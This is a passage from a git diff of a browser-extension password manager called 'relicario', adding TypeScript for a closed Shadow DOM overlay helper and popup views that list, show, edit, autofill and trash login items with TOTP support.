currentOverlay = surface;
|
||||
const { host, root } = surface;
|
||||
|
||||
host.style.cssText = [
|
||||
'position: fixed', 'top: 16px', 'right: 16px',
|
||||
'z-index: 2147483647',
|
||||
].join('; ');
|
||||
|
||||
const hint = document.createElement('div');
|
||||
hint.style.cssText = [
|
||||
'font-family: "SF Mono", "Fira Code", "Cascadia Code", monospace',
|
||||
'font-size: 12px', 'color: #c9d1d9', 'background: #161b22',
|
||||
'border: 1px solid #30363d', 'border-radius: 6px',
|
||||
'padding: 10px 14px', 'box-shadow: 0 4px 12px rgba(0,0,0,0.4)',
|
||||
'max-width: 320px', 'line-height: 1.5',
|
||||
].join('; ');
|
||||
|
||||
const title = document.createElement('div');
|
||||
title.style.cssText = 'font-weight: 700; margin-bottom: 4px; color: #58a6ff;';
|
||||
title.textContent = 'relicario';
|
||||
hint.appendChild(title);
|
||||
|
||||
const body = document.createElement('div');
|
||||
body.appendChild(document.createTextNode('First autofill on '));
|
||||
const hostSpan = document.createElement('strong');
|
||||
hostSpan.textContent = hostname;
|
||||
body.appendChild(hostSpan);
|
||||
body.appendChild(document.createTextNode(' — open relicario to confirm.'));
|
||||
hint.appendChild(body);
|
||||
|
||||
const close = document.createElement('div');
|
||||
close.textContent = '✕';
|
||||
close.style.cssText = [
|
||||
'position: absolute', 'top: 6px', 'right: 8px',
|
||||
'cursor: pointer', 'color: #8b949e', 'font-size: 14px',
|
||||
].join('; ');
|
||||
close.addEventListener('click', closeOverlay);
|
||||
hint.style.position = 'relative';
|
||||
hint.appendChild(close);
|
||||
|
||||
root.appendChild(hint);
|
||||
|
||||
// Auto-dismiss after 8 seconds
|
||||
setTimeout(() => {
|
||||
if (currentOverlay === surface) closeOverlay();
|
||||
}, 8000);
|
||||
}
|
||||
37
extension/src/content/shadow.ts
Normal file
37
extension/src/content/shadow.ts
Normal file
@@ -0,0 +1,37 @@
|
||||
/// Closed Shadow DOM host helper.
|
||||
///
|
||||
/// All in-page UI (capture prompt, autofill icon, candidate picker, TOFU
|
||||
/// banner) mounts into a closed-mode ShadowRoot so the host page cannot
|
||||
/// read or mutate the overlay via document.querySelector / DOM APIs. The
|
||||
/// returned ShadowSurface provides {host, root, destroy} for callers that
|
||||
/// want to populate the root, position the host, and tear everything down.
|
||||
|
||||
export interface ShadowSurface {
|
||||
/// The host <div> that's appended to document.body. Style/position this
|
||||
/// from the caller (position: fixed, z-index, transform, etc.).
|
||||
host: HTMLDivElement;
|
||||
/// Closed-mode ShadowRoot. Populate via textContent / appendChild —
|
||||
/// NEVER innerHTML, NEVER insertAdjacentHTML. Treat any caller-supplied
|
||||
/// string (hostname, username) as untrusted.
|
||||
root: ShadowRoot;
|
||||
/// Remove the host from the DOM and drop all references.
|
||||
destroy: () => void;
|
||||
}
|
||||
|
||||
/// Create a closed Shadow DOM host attached to document.body.
|
||||
///
|
||||
/// Callers are responsible for positioning `host` and filling `root`.
|
||||
export function createShadowHost(): ShadowSurface {
|
||||
const host = document.createElement('div');
|
||||
// Reset host-side styling so page CSS cannot leak in/out via inheritance.
|
||||
host.style.all = 'initial';
|
||||
const root = host.attachShadow({ mode: 'closed' });
|
||||
document.body.appendChild(host);
|
||||
return {
|
||||
host,
|
||||
root,
|
||||
destroy: () => {
|
||||
host.remove();
|
||||
},
|
||||
};
|
||||
}
|
||||
374
extension/src/popup/components/item-detail.ts
Normal file
374
extension/src/popup/components/item-detail.ts
Normal file
@@ -0,0 +1,374 @@
|
||||
/// Typed-item detail view — dispatches on `item.type`. Slice 6 delivers
|
||||
/// full Login parity; all other types show a "coming soon" placeholder.
|
||||
///
|
||||
/// Autofill uses the (capturedTabId, capturedUrl) pair snapshotted at
|
||||
/// popup-open (see PopupState + router/popup-only.ts#handleFillCredentials)
|
||||
/// so the SW can reject the fill if the tab navigated.
|
||||
|
||||
import { getState, setState, sendMessage, navigate, escapeHtml } from '../popup';
|
||||
import type { Item, ItemId, ManifestEntry, LoginCore, TotpConfig } from '../../shared/types';
|
||||
|
||||
let totpInterval: ReturnType<typeof setInterval> | null = null;
|
||||
|
||||
function stopTotpTimer(): void {
|
||||
if (totpInterval !== null) {
|
||||
clearInterval(totpInterval);
|
||||
totpInterval = null;
|
||||
}
|
||||
}
|
||||
|
||||
async function copyToClipboard(text: string): Promise<void> {
|
||||
try {
|
||||
await navigator.clipboard.writeText(text);
|
||||
} catch {
|
||||
// Fallback for older browsers.
|
||||
const ta = document.createElement('textarea');
|
||||
ta.value = text;
|
||||
ta.style.position = 'fixed';
|
||||
ta.style.left = '-9999px';
|
||||
document.body.appendChild(ta);
|
||||
ta.select();
|
||||
document.execCommand('copy');
|
||||
document.body.removeChild(ta);
|
||||
}
|
||||
}
|
||||
|
||||
export function renderItemDetail(app: HTMLElement): void {
|
||||
const state = getState();
|
||||
const item = state.selectedItem;
|
||||
if (!item) {
|
||||
navigate('list');
|
||||
return;
|
||||
}
|
||||
|
||||
stopTotpTimer();
|
||||
|
||||
if (item.type === 'login') {
|
||||
renderLogin(app, item);
|
||||
} else {
|
||||
renderComingSoon(app, item);
|
||||
}
|
||||
}
|
||||
|
||||
// --- Login detail ------------------------------------------------------
|
||||
|
||||
function renderLogin(app: HTMLElement, item: Item): void {
|
||||
const core = item.core as (LoginCore & { type: 'login' });
|
||||
const hasTotp = core.totp !== undefined;
|
||||
|
||||
let html = `
|
||||
<div class="detail-header">
|
||||
<span class="detail-title">${escapeHtml(item.title)}</span>
|
||||
<button class="btn" id="back-btn" style="font-size:11px;">esc</button>
|
||||
</div>
|
||||
`;
|
||||
|
||||
if (core.url) {
|
||||
html += `
|
||||
<div class="field">
|
||||
<div class="label">url</div>
|
||||
<div class="field-value"><a href="${escapeHtml(core.url)}" target="_blank" rel="noopener noreferrer" style="color:#58a6ff; text-decoration:none;">${escapeHtml(core.url)}</a></div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
if (core.username) {
|
||||
html += `
|
||||
<div class="field">
|
||||
<div class="label">username</div>
|
||||
<div class="field-value" id="username-val" style="cursor:pointer;" title="click to copy">${escapeHtml(core.username)}</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
html += `
|
||||
<div class="field">
|
||||
<div class="label">password</div>
|
||||
<div class="field-value" id="password-val" style="cursor:pointer;" title="click to toggle">
|
||||
<span id="password-display">********</span>
|
||||
<button class="btn" id="password-copy" style="font-size:10px; margin-left:8px; padding:2px 6px;">copy</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
if (hasTotp) {
|
||||
html += `
|
||||
<div class="field">
|
||||
<div class="label">totp</div>
|
||||
<div class="totp-code" id="totp-code">------</div>
|
||||
<div class="totp-bar"><div class="totp-bar-fill" id="totp-bar-fill" style="width:100%;"></div></div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
if (item.notes) {
|
||||
html += `
|
||||
<div class="field">
|
||||
<div class="label">notes</div>
|
||||
<div class="field-value" style="white-space:pre-wrap;">${escapeHtml(item.notes)}</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
if (item.group) {
|
||||
html += `
|
||||
<div class="field">
|
||||
<div class="label">group</div>
|
||||
<div class="field-value">${escapeHtml(item.group)}</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
html += `
|
||||
<div class="field">
|
||||
<div class="muted">modified ${escapeHtml(new Date(item.modified * 1000).toISOString())}</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
html += `
|
||||
<div class="form-actions" style="padding:8px 12px;">
|
||||
<button class="btn btn-primary" id="fill-btn">autofill</button>
|
||||
<button class="btn" id="edit-btn">edit</button>
|
||||
<button class="btn btn-danger" id="trash-btn" style="margin-left:auto;">trash</button>
|
||||
</div>
|
||||
`;
|
||||
|
||||
html += `
|
||||
<div class="keyhints">
|
||||
<span><kbd>c</kbd> copy user</span>
|
||||
<span><kbd>p</kbd> copy pass</span>
|
||||
${hasTotp ? '<span><kbd>t</kbd> copy totp</span>' : ''}
|
||||
<span><kbd>f</kbd> autofill</span>
|
||||
<span><kbd>e</kbd> edit</span>
|
||||
<span><kbd>d</kbd> trash</span>
|
||||
</div>
|
||||
`;
|
||||
|
||||
app.innerHTML = html;
|
||||
|
||||
// --- Password toggle ---
|
||||
let passwordVisible = false;
|
||||
const passwordDisplay = document.getElementById('password-display');
|
||||
const passwordVal = document.getElementById('password-val');
|
||||
const password = core.password ?? '';
|
||||
passwordVal?.addEventListener('click', (e) => {
|
||||
// Ignore clicks originating on the copy button.
|
||||
if ((e.target as HTMLElement).id === 'password-copy') return;
|
||||
passwordVisible = !passwordVisible;
|
||||
if (passwordDisplay) passwordDisplay.textContent = passwordVisible ? password : '********';
|
||||
});
|
||||
document.getElementById('password-copy')?.addEventListener('click', async (e) => {
|
||||
e.stopPropagation();
|
||||
await copyToClipboard(password);
|
||||
});
|
||||
|
||||
if (core.username) {
|
||||
document.getElementById('username-val')?.addEventListener('click', async () => {
|
||||
await copyToClipboard(core.username ?? '');
|
||||
});
|
||||
}
|
||||
|
||||
document.getElementById('back-btn')?.addEventListener('click', goBack);
|
||||
|
||||
document.getElementById('fill-btn')?.addEventListener('click', async () => {
|
||||
const { capturedTabId, capturedUrl } = getState();
|
||||
if (capturedTabId === null) {
|
||||
setState({ error: 'No active tab captured' });
|
||||
return;
|
||||
}
|
||||
const resp = await sendMessage({
|
||||
type: 'fill_credentials',
|
||||
id: item.id,
|
||||
capturedTabId,
|
||||
capturedUrl,
|
||||
});
|
||||
if (!resp.ok) {
|
||||
setState({ error: resp.error });
|
||||
return;
|
||||
}
|
||||
window.close();
|
||||
});
|
||||
|
||||
document.getElementById('edit-btn')?.addEventListener('click', () => {
|
||||
document.removeEventListener('keydown', handler);
|
||||
stopTotpTimer();
|
||||
navigate('edit');
|
||||
});
|
||||
|
||||
document.getElementById('trash-btn')?.addEventListener('click', () => {
|
||||
showDeleteConfirm(item.id, item.title, handler);
|
||||
});
|
||||
|
||||
// --- TOTP timer ---
|
||||
if (hasTotp) {
|
||||
void refreshTotp(item.id);
|
||||
totpInterval = setInterval(() => { void refreshTotp(item.id); }, 1000);
|
||||
}
|
||||
|
||||
// --- Keyboard shortcuts ---
|
||||
const handler = async (e: KeyboardEvent) => {
|
||||
// Bail if the user is typing into any editable field — don't steal
|
||||
// printable keystrokes meant for an input/textarea/contenteditable element.
|
||||
const t = e.target;
|
||||
if (t instanceof HTMLElement) {
|
||||
const tag = t.tagName;
|
||||
if (tag === 'INPUT' || tag === 'TEXTAREA' || tag === 'SELECT' || t.isContentEditable) return;
|
||||
}
|
||||
|
||||
switch (e.key) {
|
||||
case 'Escape':
|
||||
document.removeEventListener('keydown', handler);
|
||||
goBack();
|
||||
break;
|
||||
|
||||
case 'c':
|
||||
if (core.username) await copyToClipboard(core.username);
|
||||
break;
|
||||
|
||||
case 'p':
|
||||
await copyToClipboard(password);
|
||||
break;
|
||||
|
||||
case 't':
|
||||
if (hasTotp) {
|
||||
const codeEl = document.getElementById('totp-code');
|
||||
if (codeEl) await copyToClipboard(codeEl.textContent ?? '');
|
||||
}
|
||||
break;
|
||||
|
||||
case 'f': {
|
||||
const { capturedTabId, capturedUrl } = getState();
|
||||
if (capturedTabId === null) {
|
||||
setState({ error: 'No active tab captured' });
|
||||
break;
|
||||
}
|
||||
const resp = await sendMessage({
|
||||
type: 'fill_credentials',
|
||||
id: item.id,
|
||||
capturedTabId,
|
||||
capturedUrl,
|
||||
});
|
||||
if (!resp.ok) setState({ error: resp.error });
|
||||
else window.close();
|
||||
break;
|
||||
}
|
||||
|
||||
case 'e':
|
||||
document.removeEventListener('keydown', handler);
|
||||
stopTotpTimer();
|
||||
navigate('edit');
|
||||
break;
|
||||
|
||||
case 'd':
|
||||
e.preventDefault();
|
||||
showDeleteConfirm(item.id, item.title, handler);
|
||||
break;
|
||||
}
|
||||
};
|
||||
|
||||
document.addEventListener('keydown', handler);
|
||||
}
|
||||
|
||||
async function refreshTotp(id: ItemId): Promise<void> {
|
||||
const resp = await sendMessage({ type: 'get_totp', id });
|
||||
if (resp.ok) {
|
||||
const data = resp.data as { code: string; expires_at: number };
|
||||
const codeEl = document.getElementById('totp-code');
|
||||
const barEl = document.getElementById('totp-bar-fill');
|
||||
if (codeEl) codeEl.textContent = data.code;
|
||||
if (barEl) {
|
||||
const now = Math.floor(Date.now() / 1000);
|
||||
const remaining = Math.max(0, data.expires_at - now);
|
||||
// Period is 30 by default; compute ratio against 30.
|
||||
barEl.style.width = `${(remaining / 30) * 100}%`;
|
||||
}
|
||||
}
|
||||
// Suppress unused warning; TotpConfig referenced for typing only below.
|
||||
void ({} as TotpConfig);
|
||||
}
|
||||
|
||||
// --- Coming-soon for non-login types -----------------------------------
|
||||
|
||||
function renderComingSoon(app: HTMLElement, item: Item): void {
|
||||
app.innerHTML = `
|
||||
<div class="detail-header">
|
||||
<span class="detail-title">${escapeHtml(item.title)}</span>
|
||||
<button class="btn" id="back-btn" style="font-size:11px;">esc</button>
|
||||
</div>
|
||||
<div class="pad" style="text-align:center; padding:32px 16px;">
|
||||
<div style="font-size:32px; margin-bottom:12px;">${typeEmoji(item.type)}</div>
|
||||
<div style="font-size:14px; color:#c9d1d9; margin-bottom:4px;">${escapeHtml(item.type.replace('_', ' '))}</div>
|
||||
<p class="muted">read/write for this type is coming in a later slice.</p>
|
||||
<p class="muted" style="margin-top:8px;">use the CLI for now.</p>
|
||||
</div>
|
||||
`;
|
||||
|
||||
document.getElementById('back-btn')?.addEventListener('click', goBack);
|
||||
|
||||
const handler = (e: KeyboardEvent) => {
|
||||
if (e.key === 'Escape') {
|
||||
document.removeEventListener('keydown', handler);
|
||||
goBack();
|
||||
}
|
||||
};
|
||||
document.addEventListener('keydown', handler);
|
||||
}
|
||||
|
||||
function typeEmoji(t: Item['type']): string {
|
||||
switch (t) {
|
||||
case 'login': return '🔑';
|
||||
case 'secure_note': return '📝';
|
||||
case 'identity': return '🪪';
|
||||
case 'card': return '💳';
|
||||
case 'key': return '🗝';
|
||||
case 'document': return '📄';
|
||||
case 'totp': return '⏱';
|
||||
}
|
||||
}
|
||||
|
||||
// --- Shared helpers ----------------------------------------------------
|
||||
|
||||
function goBack(): void {
|
||||
stopTotpTimer();
|
||||
// Reload the item list.
|
||||
void sendMessage({ type: 'list_items' }).then(resp => {
|
||||
if (resp.ok) {
|
||||
const data = resp.data as { items: Array<[ItemId, ManifestEntry]> };
|
||||
navigate('list', {
|
||||
entries: data.items,
|
||||
selectedId: null,
|
||||
selectedItem: null,
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function showDeleteConfirm(id: ItemId, title: string, parentHandler: (e: KeyboardEvent) => void): void {
|
||||
const overlay = document.createElement('div');
|
||||
overlay.className = 'confirm-overlay';
|
||||
overlay.innerHTML = `
|
||||
<div class="confirm-box">
|
||||
<p>Trash <strong>${escapeHtml(title)}</strong>?</p>
|
||||
<button class="btn" id="cancel-delete">cancel</button>
|
||||
<button class="btn btn-danger" id="confirm-delete">trash</button>
|
||||
</div>
|
||||
`;
|
||||
document.body.appendChild(overlay);
|
||||
|
||||
document.getElementById('cancel-delete')?.addEventListener('click', () => {
|
||||
overlay.remove();
|
||||
});
|
||||
|
||||
document.getElementById('confirm-delete')?.addEventListener('click', async () => {
|
||||
overlay.remove();
|
||||
setState({ loading: true });
|
||||
const resp = await sendMessage({ type: 'delete_item', id });
|
||||
if (resp.ok) {
|
||||
document.removeEventListener('keydown', parentHandler);
|
||||
stopTotpTimer();
|
||||
goBack();
|
||||
} else {
|
||||
setState({ loading: false, error: resp.error });
|
||||
}
|
||||
});
|
||||
}
|
||||
281
extension/src/popup/components/item-form.ts
Normal file
281
extension/src/popup/components/item-form.ts
Normal file
@@ -0,0 +1,281 @@
|
||||
/// Typed-item add/edit form. Slice 6 ships full Login parity; other
|
||||
/// types show a coming-soon placeholder (use the CLI for now).
|
||||
///
|
||||
/// Carry-forward from Slice 5 review M3: on edit, trashed_at is
|
||||
/// explicitly reset to undefined so stale trash state cannot survive an
|
||||
/// edit. (The capture path already uses spread + fetched item; this
|
||||
/// popup flow uses state.selectedItem.)
|
||||
|
||||
import { getState, setState, sendMessage, navigate, escapeHtml } from '../popup';
|
||||
import type {
|
||||
Item, ItemId, ItemType, ManifestEntry, LoginCore, TotpConfig,
|
||||
} from '../../shared/types';
|
||||
import { DEFAULT_PASSWORD_REQUEST } from '../../shared/types';
|
||||
import { base32Decode, base32Encode } from '../../shared/base32';
|
||||
|
||||
// Which types support add/edit in Slice 6.
|
||||
function isEditableType(t: ItemType): boolean {
|
||||
return t === 'login';
|
||||
}
|
||||
|
||||
export function renderItemForm(app: HTMLElement, mode: 'add' | 'edit'): void {
|
||||
const state = getState();
|
||||
const existing = mode === 'edit' ? state.selectedItem : null;
|
||||
|
||||
// Determine the type we're editing/creating. Add defaults to login.
|
||||
const type: ItemType = existing?.type ?? 'login';
|
||||
|
||||
if (!isEditableType(type)) {
|
||||
renderComingSoon(app, type);
|
||||
return;
|
||||
}
|
||||
|
||||
renderLoginForm(app, mode, existing);
|
||||
}
|
||||
|
||||
// --- Coming-soon -------------------------------------------------------
|
||||
|
||||
function renderComingSoon(app: HTMLElement, type: ItemType): void {
|
||||
app.innerHTML = `
|
||||
<div class="pad">
|
||||
<div class="detail-title" style="margin-bottom:16px;">${escapeHtml(type.replace('_', ' '))}</div>
|
||||
<p class="muted">editing ${escapeHtml(type)} items is coming in a later slice.</p>
|
||||
<p class="muted" style="margin-top:8px;">use the CLI for now.</p>
|
||||
<div class="form-actions">
|
||||
<button class="btn" id="back-btn">back</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
document.getElementById('back-btn')?.addEventListener('click', () => navigate('list'));
|
||||
const handler = (e: KeyboardEvent) => {
|
||||
if (e.key === 'Escape') {
|
||||
document.removeEventListener('keydown', handler);
|
||||
navigate('list');
|
||||
}
|
||||
};
|
||||
document.addEventListener('keydown', handler);
|
||||
}
|
||||
|
||||
// --- Login add/edit ----------------------------------------------------
|
||||
|
||||
/// Encode TotpConfig secret bytes back to a base32 display string.
|
||||
function totpSecretToBase32(totp: TotpConfig | undefined): string {
|
||||
if (!totp) return '';
|
||||
return base32Encode(new Uint8Array(totp.secret));
|
||||
}
|
||||
|
||||
function renderLoginForm(app: HTMLElement, mode: 'add' | 'edit', existing: Item | null): void {
|
||||
const state = getState();
|
||||
const existingCore = (existing?.core.type === 'login')
|
||||
? (existing.core as LoginCore & { type: 'login' })
|
||||
: null;
|
||||
|
||||
const title = existing?.title ?? '';
|
||||
const url = existingCore?.url ?? '';
|
||||
const username = existingCore?.username ?? '';
|
||||
const password = existingCore?.password ?? '';
|
||||
const totpStr = totpSecretToBase32(existingCore?.totp);
|
||||
const group = existing?.group ?? '';
|
||||
const notes = existing?.notes ?? '';
|
||||
|
||||
app.innerHTML = `
|
||||
<div class="pad">
|
||||
<div class="detail-title" style="margin-bottom:16px;">${mode === 'add' ? 'new login' : 'edit login'}</div>
|
||||
${state.error ? `<div class="error">${escapeHtml(state.error)}</div>` : ''}
|
||||
<div class="form-group">
|
||||
<label class="label" for="f-title">title *</label>
|
||||
<input id="f-title" type="text" value="${escapeHtml(title)}" placeholder="GitHub">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="label" for="f-url">url</label>
|
||||
<input id="f-url" type="text" value="${escapeHtml(url)}" placeholder="https://github.com/login">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="label" for="f-username">username</label>
|
||||
<input id="f-username" type="text" value="${escapeHtml(username)}" placeholder="alice@example.com">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="label" for="f-password">password</label>
|
||||
<div class="inline-row">
|
||||
<input id="f-password" type="password" value="${escapeHtml(password)}">
|
||||
<button class="btn" id="gen-btn" title="generate">gen</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="label" for="f-totp">totp secret (base32)</label>
|
||||
<input id="f-totp" type="text" value="${escapeHtml(totpStr)}" placeholder="JBSWY3DPEHPK3PXP">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="label" for="f-group">group</label>
|
||||
<input id="f-group" type="text" value="${escapeHtml(group)}" placeholder="work">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="label" for="f-notes">notes</label>
|
||||
<textarea id="f-notes" placeholder="recovery codes, security questions...">${escapeHtml(notes)}</textarea>
|
||||
</div>
|
||||
<div class="form-actions">
|
||||
<button class="btn" id="cancel-btn">cancel</button>
|
||||
<button class="btn btn-primary" id="save-btn">${state.loading ? '<span class="spinner"></span>' : 'save'}</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
// --- Generate password ---
|
||||
document.getElementById('gen-btn')?.addEventListener('click', async () => {
|
||||
const resp = await sendMessage({ type: 'generate_password', request: DEFAULT_PASSWORD_REQUEST });
|
||||
if (resp.ok) {
|
||||
const data = resp.data as { password: string };
|
||||
const pwInput = document.getElementById('f-password') as HTMLInputElement;
|
||||
pwInput.value = data.password;
|
||||
pwInput.type = 'text'; // Show generated password.
|
||||
} else {
|
||||
setState({ error: resp.error });
|
||||
}
|
||||
});
|
||||
|
||||
// --- Cancel ---
|
||||
document.getElementById('cancel-btn')?.addEventListener('click', () => goBack(mode));
|
||||
|
||||
// --- Save ---
|
||||
document.getElementById('save-btn')?.addEventListener('click', async () => {
|
||||
await saveLogin(mode, existing);
|
||||
});
|
||||
|
||||
// --- Escape to cancel ---
|
||||
const escHandler = (e: KeyboardEvent) => {
|
||||
if (e.key === 'Escape') {
|
||||
document.removeEventListener('keydown', escHandler);
|
||||
goBack(mode);
|
||||
}
|
||||
};
|
||||
document.addEventListener('keydown', escHandler);
|
||||
|
||||
// Focus the title field.
|
||||
(document.getElementById('f-title') as HTMLInputElement | null)?.focus();
|
||||
}
|
||||
|
||||
function goBack(mode: 'add' | 'edit'): void {
|
||||
const s = getState();
|
||||
if (mode === 'edit' && s.selectedId && s.selectedItem) {
|
||||
navigate('detail');
|
||||
} else {
|
||||
navigate('list');
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize a URL input so the Rust-side `url::Url::parse` accepts it.
|
||||
///
|
||||
/// Prepends `https://` when the input looks like a bare host (no scheme),
|
||||
/// then validates via the JS URL constructor. Returns { ok, value, error }.
|
||||
function normalizeUrl(raw: string): { ok: true; value: string } | { ok: false; error: string } {
|
||||
if (!raw) return { ok: true, value: '' };
|
||||
const trimmed = raw.trim();
|
||||
// If it already has a scheme, pass through. Otherwise assume https://.
|
||||
const candidate = /^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//.test(trimmed)
|
||||
? trimmed
|
||||
: `https://${trimmed}`;
|
||||
try {
|
||||
const u = new URL(candidate);
|
||||
// url::Url rejects schemes without an authority (host). Require a host.
|
||||
if (!u.host) return { ok: false, error: 'URL must include a host (e.g. https://example.com)' };
|
||||
return { ok: true, value: u.toString() };
|
||||
} catch {
|
||||
return { ok: false, error: 'URL is not valid — try something like https://example.com' };
|
||||
}
|
||||
}
|
||||
|
||||
async function saveLogin(mode: 'add' | 'edit', existing: Item | null): Promise<void> {
|
||||
const state = getState();
|
||||
|
||||
const title = (document.getElementById('f-title') as HTMLInputElement).value.trim();
|
||||
const rawUrl = (document.getElementById('f-url') as HTMLInputElement).value;
|
||||
const username = (document.getElementById('f-username') as HTMLInputElement).value.trim();
|
||||
const password = (document.getElementById('f-password') as HTMLInputElement).value;
|
||||
const totpStr = (document.getElementById('f-totp') as HTMLInputElement).value.trim();
|
||||
const group = (document.getElementById('f-group') as HTMLInputElement).value.trim();
|
||||
const notes = (document.getElementById('f-notes') as HTMLTextAreaElement).value;
|
||||
|
||||
if (!title) {
|
||||
setState({ error: 'Title is required' });
|
||||
return;
|
||||
}
|
||||
|
||||
const urlResult = normalizeUrl(rawUrl);
|
||||
if (!urlResult.ok) {
|
||||
setState({ error: urlResult.error });
|
||||
return;
|
||||
}
|
||||
const url = urlResult.value;
|
||||
|
||||
let totp: TotpConfig | undefined;
|
||||
if (totpStr) {
|
||||
try {
|
||||
const bytes = base32Decode(totpStr);
|
||||
totp = {
|
||||
secret: Array.from(bytes),
|
||||
algorithm: 'sha1',
|
||||
digits: 6,
|
||||
period_seconds: 30,
|
||||
kind: 'totp',
|
||||
};
|
||||
} catch (err) {
|
||||
setState({ error: `Invalid TOTP secret: ${err instanceof Error ? err.message : String(err)}` });
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
const now = Math.floor(Date.now() / 1000);
|
||||
const core: LoginCore & { type: 'login' } = {
|
||||
type: 'login',
|
||||
username: username || undefined,
|
||||
password: password || undefined,
|
||||
url: url || undefined,
|
||||
totp,
|
||||
};
|
||||
|
||||
// Build the Item. On edit we preserve id/created/tags/favorite/sections/
|
||||
// attachments/field_history from the existing item, but we EXPLICITLY
|
||||
// set trashed_at: undefined — never preserve stale trash state through
|
||||
// an edit (carry-forward from Slice 5 review M3).
|
||||
const item: Item = {
|
||||
id: existing?.id ?? '', // SW fills in for add_item.
|
||||
title,
|
||||
type: 'login',
|
||||
tags: existing?.tags ?? [],
|
||||
favorite: existing?.favorite ?? false,
|
||||
group: group || undefined,
|
||||
notes: notes || undefined,
|
||||
created: existing?.created ?? now,
|
||||
modified: now,
|
||||
trashed_at: undefined,
|
||||
core,
|
||||
sections: existing?.sections ?? [],
|
||||
attachments: existing?.attachments ?? [],
|
||||
field_history: existing?.field_history ?? {},
|
||||
};
|
||||
|
||||
setState({ loading: true, error: null });
|
||||
|
||||
let resp;
|
||||
if (mode === 'add') {
|
||||
resp = await sendMessage({ type: 'add_item', item });
|
||||
} else {
|
||||
if (!state.selectedId) {
|
||||
setState({ loading: false, error: 'Missing item id' });
|
||||
return;
|
||||
}
|
||||
resp = await sendMessage({ type: 'update_item', id: state.selectedId, item });
|
||||
}
|
||||
|
||||
if (resp.ok) {
|
||||
const listResp = await sendMessage({ type: 'list_items' });
|
||||
if (listResp.ok) {
|
||||
const data = listResp.data as { items: Array<[ItemId, ManifestEntry]> };
|
||||
navigate('list', { entries: data.items, selectedId: null, selectedItem: null });
|
||||
} else {
|
||||
navigate('list');
|
||||
}
|
||||
} else {
|
||||
setState({ loading: false, error: resp.error });
|
||||
}
|
||||
}
|
||||
217
extension/src/popup/components/item-list.ts
Normal file
217
extension/src/popup/components/item-list.ts
Normal file
@@ -0,0 +1,217 @@
|
||||
/// Typed-item list view — toolbar (search, new, sync, lock, settings) +
|
||||
/// type-iconed rows. Clicking a row fetches the full Item and navigates
|
||||
/// to the detail view.
|
||||
|
||||
import { getState, setState, sendMessage, navigate, escapeHtml } from '../popup';
|
||||
import type { ItemId, ItemType, ManifestEntry, Item } from '../../shared/types';
|
||||
|
||||
/// Extract the display hostname from an icon_hint or fallback to the first tag.
|
||||
function metaLine(e: ManifestEntry): string {
|
||||
if (e.icon_hint) return e.icon_hint;
|
||||
if (e.tags.length > 0) return e.tags.join(', ');
|
||||
return '';
|
||||
}
|
||||
|
||||
/// Emoji icon per item type. Placeholder until we ship real SVG icons.
|
||||
function typeIcon(t: ItemType): string {
|
||||
switch (t) {
|
||||
case 'login': return '🔑';
|
||||
case 'secure_note': return '📝';
|
||||
case 'identity': return '🪪';
|
||||
case 'card': return '💳';
|
||||
case 'key': return '🗝';
|
||||
case 'document': return '📄';
|
||||
case 'totp': return '⏱';
|
||||
}
|
||||
}
|
||||
|
||||
export function renderItemList(app: HTMLElement): void {
|
||||
const state = getState();
|
||||
const filtered = getFilteredEntries();
|
||||
|
||||
const rowsHtml = filtered.length > 0
|
||||
? filtered.map(([id, e], i) => `
|
||||
<div class="entry-row ${i === state.selectedIndex ? 'selected' : ''}" data-id="${escapeHtml(id)}" data-index="${i}">
|
||||
<span class="entry-name"><span class="type-icon" aria-hidden="true">${typeIcon(e.type)}</span> ${escapeHtml(e.title)}</span>
|
||||
<span class="entry-meta">${escapeHtml(metaLine(e))}</span>
|
||||
</div>
|
||||
`).join('')
|
||||
: '<div class="empty">no items</div>';
|
||||
|
||||
app.innerHTML = `
|
||||
<div class="search-bar">
|
||||
<input type="text" id="search-input" placeholder="/ search..." value="${escapeHtml(state.searchQuery)}">
|
||||
</div>
|
||||
<div class="toolbar" style="display:flex; gap:4px; padding:6px 12px; border-bottom:1px solid #21262d;">
|
||||
<button class="btn" id="new-btn" style="font-size:11px;">+ new</button>
|
||||
<button class="btn" id="sync-btn" style="font-size:11px;">sync</button>
|
||||
<span style="flex:1;"></span>
|
||||
<button class="btn" id="settings-btn" style="font-size:11px;">settings</button>
|
||||
<button class="btn" id="lock-btn" style="font-size:11px;">lock</button>
|
||||
</div>
|
||||
<div class="entry-list" id="item-list">
|
||||
${rowsHtml}
|
||||
</div>
|
||||
<div class="keyhints">
|
||||
<span><kbd>/</kbd> search</span>
|
||||
<span><kbd>+</kbd> new</span>
|
||||
<span><kbd>↑↓</kbd> nav</span>
|
||||
<span><kbd>Enter</kbd> open</span>
|
||||
</div>
|
||||
`;
|
||||
|
||||
// --- Event listeners ---
|
||||
|
||||
const searchInput = document.getElementById('search-input') as HTMLInputElement | null;
|
||||
searchInput?.addEventListener('input', () => {
|
||||
setState({ searchQuery: searchInput.value, selectedIndex: 0 });
|
||||
});
|
||||
|
||||
document.getElementById('new-btn')?.addEventListener('click', () => navigate('add'));
|
||||
|
||||
document.getElementById('sync-btn')?.addEventListener('click', async () => {
|
||||
setState({ loading: true, error: null });
|
||||
const resp = await sendMessage({ type: 'sync' });
|
||||
if (resp.ok) {
|
||||
const listResp = await sendMessage({ type: 'list_items' });
|
||||
if (listResp.ok) {
|
||||
const data = listResp.data as { items: Array<[ItemId, ManifestEntry]> };
|
||||
